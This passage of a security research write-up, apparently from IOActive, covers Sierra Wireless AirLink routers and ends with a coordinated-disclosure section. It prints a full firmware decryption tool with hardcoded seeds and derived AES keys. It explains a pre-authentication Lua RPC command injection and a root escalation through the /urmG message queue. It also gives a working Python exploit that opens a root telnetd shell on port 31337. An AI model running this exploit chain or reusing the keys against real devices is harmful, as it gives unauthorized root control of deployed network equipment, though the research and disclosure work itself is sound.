1.1 Custom ‘seed

This 8-byte hardcoded value can be found in the ‘swinstaller’ binary, close to the ‘sha256’/’aes’ strings in most cases. 

 

Please note that it may vary across devices and versions.

1.2 Custom ‘version

This value can be found in the ‘manifest.txt’ file and corresponds to the ‘ALEOS_VERSION’ value, highlighted in the image below.  

As in the previous case, it will obviously be different across versions.

2.    Deriving the IV/Key

This non-canonical simple pseudo-code can be used to get an overall idea behind the generation.

  a = "\x00"*32
  b = version+seed 
  copy(a, rounds_sha256(b), 32)
  materials = rounds_sha256(a+b)
  iv = materials[0:31]
  key = materials[32:63]

The full logic to decrypt AirLink firmware files has been implemented in following file:

// For research purposes only
// 
// Sierra Wireless' Airlink Firmware Decrypter (Ruben Santamarta @ IOActive) 
// @IOActiveLabs https://labs.ioactive.com
// 
// Dependencies: 
// libtomcrypt https://github.com/libtom
// 
// Compile
// $ gcc decrypter.c -o decrypter -Isrc/headers libtomcrypt.a
// 
// Example
// KEY is the ALEOS_VERSION at manifest.txt (manifest.txt!ALEOS_VERSION=KEY)
// $ ./decrypter -d KEY aes /file/path/RV50/rootfs.sqfs.uboot /file/path/RV50/rootfs.sqfs.uboot.decrypted 4096 1

/* 
Example output for RV50 firmware - ALEOS_VERSION=4.13.0.017 

* Sierra Wireless' Airlink Firmware Decrypter (Ruben Santamarta @ IOActive) * 

- Initializing materials...
Hashing at keyBuff+32 for 18 bytes...
round 1
round 2
round 3
round 4

Copying 32 bytes from the hashed material to keyBuff

Now hashing the entire keyBuff [50 bytes]...
round 1
round 2
round 3
round 4

***=> IV:  "\x11\x5F\x24\x07\x50\x3C\x68\xD2\x28\x26\xBA\x18\x4B\x12\x54\xF1\x2C\x20\x36\x01\x45\x86\x42\x99\x05\x6D\x43\x3C\xC5\x80\xCA\x94"
***=> Key: "\x7D\x69\x78\x59\x55\x35\xF9\xAA\x4F\x8E\xBE\xE4\xE8\xD2\xEE\xFA\x86\x35\xD1\x6A\x58\x81\x53\x78\x6D\xFF\x2E\xB5\xBC\x88\x21\x11"

[+] Decrypting firmware to decrypted.bin...
[+] Done

*/


#include <tomcrypt.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int errno;

typedef struct _product_key{
  unsigned char seed[8];
  char *name;
} product_key;


// SEED TABLE  (ALEOS VERSION 4.13.0.017)
// Extracted from the 'swinstaller' binary (different from product/version)

product_key seed_table[]={  
                            {"\x60\x22\xD5\xCD\x3C\x09\xCD\xAB","ES450"},
                            {"\x5D\x5C\xAA\x26\x2D\x0B\xDE\x5A","RV50"},
                            {"\xFB\x76\x0D\xCE\xC1\x2C\xC8\x16","LX60"},
                            {"\xCB\x4E\x4A\x5F\x07\x89\x0B\xDE","RV55"},
                            {"\x1C\xDF\x8D\x14\xB3\x61\xCF\x12","MP70"},
                            {"\x60\x22\xD5\xCD\x3C\x09\xCD\xAB","GX450"},
                            {0}
                          };


int generate_materials(unsigned char *inBuff, int len, void *dest, size_t *a4, int a5);
int init_keys(char *keyString, int len, int product, unsigned char **key, unsigned char **IV);


int init_keys(char *keyString, int len, int product, unsigned char **key, unsigned char **IV)
{

  unsigned char *keyBuff;
  unsigned char keyHash[64]={0};
  unsigned char ivHash[64]={0};
  

  size_t  retLen;
  size_t  keylen,totalen;
  int     result;


 
  printf("\n- Initializing materials...\n");


  *key = (unsigned char *)calloc(0x40,1);
  *IV = (unsigned char *)calloc(0x40,1);

  keylen = len;

  totalen = keylen + 40;

  keyBuff = (unsigned char*)calloc(totalen, 1);
  
  retLen = 32;

 
  // Copy key string "\x00"*32+key
  memcpy(keyBuff + 32, keyString, keylen);
  
  // Copy remaining materials "\x00"*32+key+seed
  memcpy(keyBuff + 32 + keylen, seed_table[product].seed, 8);

  printf("Hashing at keyBuff+32 for %lu bytes...\n",totalen - 32);
  result = generate_materials(  (keyBuff + 32),
                                totalen - 32,
                                keyHash,
                                (size_t*)&retLen,
                                5);

  

  printf("Copying 32 bytes from the hashed material to keyBuff\n");
  memcpy(keyBuff,keyHash, 0x20);

  retLen = 32;
 
  printf("\nNow hashing the entire keyBuff [%lu bytes]...\n",totalen);
  generate_materials(   keyBuff,
                        totalen,
                        ivHash,
                        (size_t*)&retLen,
                        5);


  
  memcpy(*IV,ivHash,0x20);
  memcpy(*key,keyHash,0x20);

  printf("***=> IV:  \"");
  for(int i=0; i<32;i++){
    printf("\\x%02X",ivHash[i]);
  }
  printf("\"\n");

  printf("***=> Key: \"");
  for(int i=0; i<32;i++){
    printf("\\x%02X",keyHash[i]);
  }
  printf("\"\n");
 return 1;

}


int generate_materials(unsigned char *inBuff, int len, void *dest, size_t *a4, int a5)
{
  int v5; 
  size_t *v7; 
  int v9; 
  int v10; 
  size_t n; 
  unsigned char *outBuff; 
  int v13; 
  int i; 
  int v15; 


  v9 = len;
  v7 = a4;

  outBuff = (unsigned char*)calloc(0x100,1);
  v13 = find_hash("sha256");
  n = 128;
  v15 = hash_memory(v13, inBuff, v9, outBuff, &n);
  if ( *v7 > n ){
    printf("Error hashing memory\n");
    exit(0);
  }
  memcpy(dest, outBuff, n);
  *v7 = n;
  for ( i = 1; i < a5 && !v15; ++i )
  {
    printf("round %d\n",i);
    v15 = hash_memory(v13, dest, *v7, outBuff, &n);
    memcpy(dest, outBuff, n);
    *v7 = n;
  }
  printf("\n");
  if ( v15 )
    v5 = -1;
  else
    v5 = 0;
  return v5;
}


int usage(char *name) 
{
   int x;

   printf("\nUsage: %s -d version cipher('aes') infile outfile chunk_size product(ID)\nSupported products:\n", name);
   for(x=0; seed_table[x].name != NULL; x++) {
      printf("ID: [%d] Description: %s\n",x, seed_table[x].name);
   }
   printf("\n$ ./decrypt -d 4.12.0.p31 aes /file/path/RV50/rootfs.sqfs.uboot /file/path/RV50/rootfs.sqfs.uboot.decrypted 4096 1\n");
   exit(1);
}

void register_algs(void)
{   
  if (register_cipher (&aes_desc)){
      printf("Error registering AES\n");
      exit(-1);
   } 

  if (register_hash(&sha256_desc) == -1) {
      printf("Error registering SHA256\n");
      exit(-1);
   } 
}

int main(int argc, char *argv[]) 
{
   unsigned char *plaintext,*ciphertext;
   unsigned char *inbuf; 
   size_t n, decrypt;
   symmetric_CTR ctr;
   int cipher_idx, hash_idx;
   char *infile, *outfile, *cipher;
   FILE *fdin, *fdout;
   size_t amount;
   unsigned char *cKey;
   unsigned char *cIV;

   if (argc < 7) {
      return usage(argv[0]);
   }

  register_algs();

  inbuf = (unsigned char*)calloc(8192,1);
  cipher  = argv[3];
  infile  = argv[4];
  outfile = argv[5];
  amount = atoi(argv[6]);
   
   if (!strcmp(argv[1], "-d")) {
      plaintext = (unsigned char*)calloc(8192,1);
      decrypt = 1;     
   } else {
      printf("\n[!] decryption only");
      exit(0);
   }
 
   printf("\n* Sierra Wireless' Airlink Firmware Decrypter (Ruben Santamarta @ IOActive) * \n");

   init_keys( argv[2], strlen(argv[2]), atoi(argv[7]), &cKey, &cIV );
   
    
   fdin = fopen(infile,"rb");
   if (fdin == NULL) {
      perror("Can't open input for reading");
      exit(-1);
   }

   fdout = fopen(outfile,"wb");
   if (fdout == NULL) { 
      perror("Can't open output for writing");
      exit(-1);
   }
 
   cipher_idx = find_cipher(cipher);
   if (cipher_idx == -1) {
      printf("Invalid cipher entered on command line.\n");
      exit(-1);
   }

   
   if (decrypt) {
      
      
      if ((errno = ctr_start(cipher_idx,
                              cIV,
                              cKey,
                              32,
                              0,
                              CTR_COUNTER_LITTLE_ENDIAN,&ctr)) != CRYPT_OK) {
         printf("ctr_start error: %s\n",error_to_string(errno));
         exit(-1);
      }

     
      printf("\n[+] Decrypting firmware to %s...",outfile);

      do {

         n = fread(inbuf,1,amount,fdin);
          
         if ((errno = ctr_decrypt(inbuf,plaintext,n,&ctr)) != CRYPT_OK) {
            printf("ctr_decrypt error: %s\n", error_to_string(errno));
            exit(-1);
         }

         if (fwrite(plaintext,1,n,fdout) != n) {
            printf("Error writing to file.\n");
            exit(-1);
         }
        
      } while (n == amount);

      printf("\n[+] Done\n");
     
   } 

   fclose(fdin);
   fclose(fdout);
   return 0;
}

At this point, it is possible to decrypt all of the files, including the filesystem image, so we can start hunting. 

Remote Command Injection – Preauth –

Initial analysis showed that the main web interface looks solid enough after all those killed bugs. I decided to take a look at one of the main features of these AirLink devices: the ALEOS Application Framework (AAF). 

It is worth mentioning that this set of features is not enabled by default, so the administrator needs to enable AAF through the web interface. Once it has been activated, this framework will extend the regular capabilities of these devices, allowing external developers to create their own embedded applications. From the device perspective this has mainly been implemented using LUA, so I decided to take a look at the code (‘/usr/readyagent/lua’ folder). There was something that immediately got my attention: when AAF is enabled, a custom LUA RPC scheduler is exposed at LAN_IP:1999/TCP.

File: ‘/usr/readyagent/lua/rpc/sched.lua

Following the code, we find that this RPC server deserializes arbitrary function names and arguments, which may be attacker controllable.

File: ‘/usr/readyagent/lua/rpc/sched.lua’

The first request (line 55) receives ‘t’,‘seqnum’ and the number of bytes of serialized data to be received from the client. Then, at line 162, our data will be deserialized using ‘luatobin’ format. 

File: ‘/usr/readyagent/lua/rpc/proxy.lua’

 These values will be handled by ‘common.execute,’ which allows any function to be executed.

File: ‘/usr/readyagent/lua/rpc/common.lua’

A malicious actor can leverage this vulnerability to invoke arbitrary LUA functions, such as ‘os.execute’. As a result, an attacker on a network adjacent to an AirLink device (with AAF enabled), will gain the ability to execute arbitrary commands under the privilege of the ‘rauser’ account.

Local Privilege Escalation to Root

At this point I could execute arbitrary commands without requiring any authentication, but ‘rauser’ is still a low-privileged account. The next step was to find a way to escalate privileges to root. 

The main web interface is not running as root, but still we can update the firmware, reboot the device, etc., so there should be some logic that allows these ‘root’ operations to be requested from a different privilege level. By reverse engineering the different binaries involved, I eventually found the IPC mechanism: a message queue called ‘/urmG’ 

File: ‘/lib/libSWIALEOS41.so.1.0

Any process can access this message queue:

-rw-rw-rw-    1 root     0               80 Sep  9 00:34 urmG

Basically, the root process ‘/usr/sbin/UpdateRebootMgr’ reads a message from this queue that contains the action that has to be performed on the requester’s behalf.  Depending on the action, ‘UpdateRebootMgr’ will run the binary in charge of that action, while also passing the command line received from the low-privileged process through the message queue. 

For instance, ‘RequestUpdate’ is a binary that sends messages to the ‘UpdateRebootMgr’ root process through the ‘/urmG’ message queue. When ‘UpdateRebootMgr’ processes a certain message, it will invoke ‘FW_UPLOAD_CMD’ using the command line passed in the ‘-o’ argument.

File: ‘/usr/sbin/atfw_rm_update

…
RequestUpdate -c aleos -o "--aleos $LOCAL_FW" –w
…

Pay attention to this sequence:

1. File: ‘/usr/sbin/UpdateRebootMgr
2. File: ‘/usr/sbin/libSWIALEOS41.so.1
3. File: ‘/usr/sbin/UpdateRebootMgr


This looks promising. Let’s see what is inside ‘ALEOS:swsystemtools::runSystem.

File: ‘/lib/libswsystemtools.so

ALEOS::swsystemtools::isSafeString’ looks like the kind of function that should prevent this injection from happening; however, it fails because when the first character is a ‘-‘ it is possible to bypass the ‘find_first_of’ check, which would detect some command injection characters.

As a result, it is possible to perform a classic command injection through the ‘/urmG’ message queue to escalate privileges to root. 

We can use the ‘RequestUpdate’ binary as a PoC:

$ RequestUpdate -c aleos -o “–aleos /tmp/whatever | /bin/busybox telnetd -l/bin/sh -p31337”

An exploit would be as follows:

File: ‘exploit.py’

#!/usr/bin/env python

import socket


TCP_IP = '192.168.13.31'
TCP_PORT = 1999
BUFFER_SIZE = 1024
MESSAGE1 = "\x00\x01\x00\x00\x00\x7C"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(MESSAGE1)
s.send("\x04\x00\x0A"+"os.execute"+"\x04\x00\x60"+"/tmp/RequestUpdate -c aleos -o \"--aleos /tmp/pun|/bin/busybox telnetd -l/bin/sh -p31337\""+"\x00"*26)

data = s.recv(BUFFER_SIZE)
s.close()

print "received data:", repr(data)

Impact

This chain of exploits can be used from an adjacent network to get root access without requiring any authentication on any AirLink device that has AAF enabled. This is not the default option, so the attack is mitigated in that sense.

There are some security boundaries these vulnerabilities break in a Sierra Wireless AirLink device:

  1. According to the documentation, the ‘root’ user is proprietary to Sierra Wireless.
  2. The main firmware file is signed and  certain key files in the package are encrypted. This attack allows malicious firmware to be installed on the device, thus gaining persistence.
  3. There is an interesting feature, although it is unlikely to be exploited. AirLink customers can temporarily enable a remote support option. This adds a hardcoded root hash to ‘/etc/shadow’ and seems to be identical across devices. A rooted AirLink device might be used to trick Sierra Wireless support staff into remotely connecting to the device to capture the password.

Conclusion

IOActive notified Sierra Wireless about these vulnerabilities in January 2020, which resulted in the following advisories:

—–

Sierra Wireless thanks IOActive for the responsible disclosure of these vulnerabilities.

In current versions of ALEOS, the RPC server is enabled only when the AAF user password is defined.

Sierra Wireless recommends that customers enable the AAF user only for devices that are being used for AAF development and debugging. The AAF user is not required for AAF applications to be deployed and run.

Deployed devices must not have the AAF user password enabled.

Sierra Wireless recommends upgrading to the latest ALEOS version for your gateway. For devices running ALEOS 4.13 today, Sierra Wireless recommends upgrading to ALEOS 4.14.0 once it is available.

For more information see our advisory at https://source.sierrawireless.com/resources/security-bulletins/sierra-wireless-technical-bulletin—swi-psa-2020-005

—-

We greatly appreciate the collaborative communication with Sierra Wireless during this process.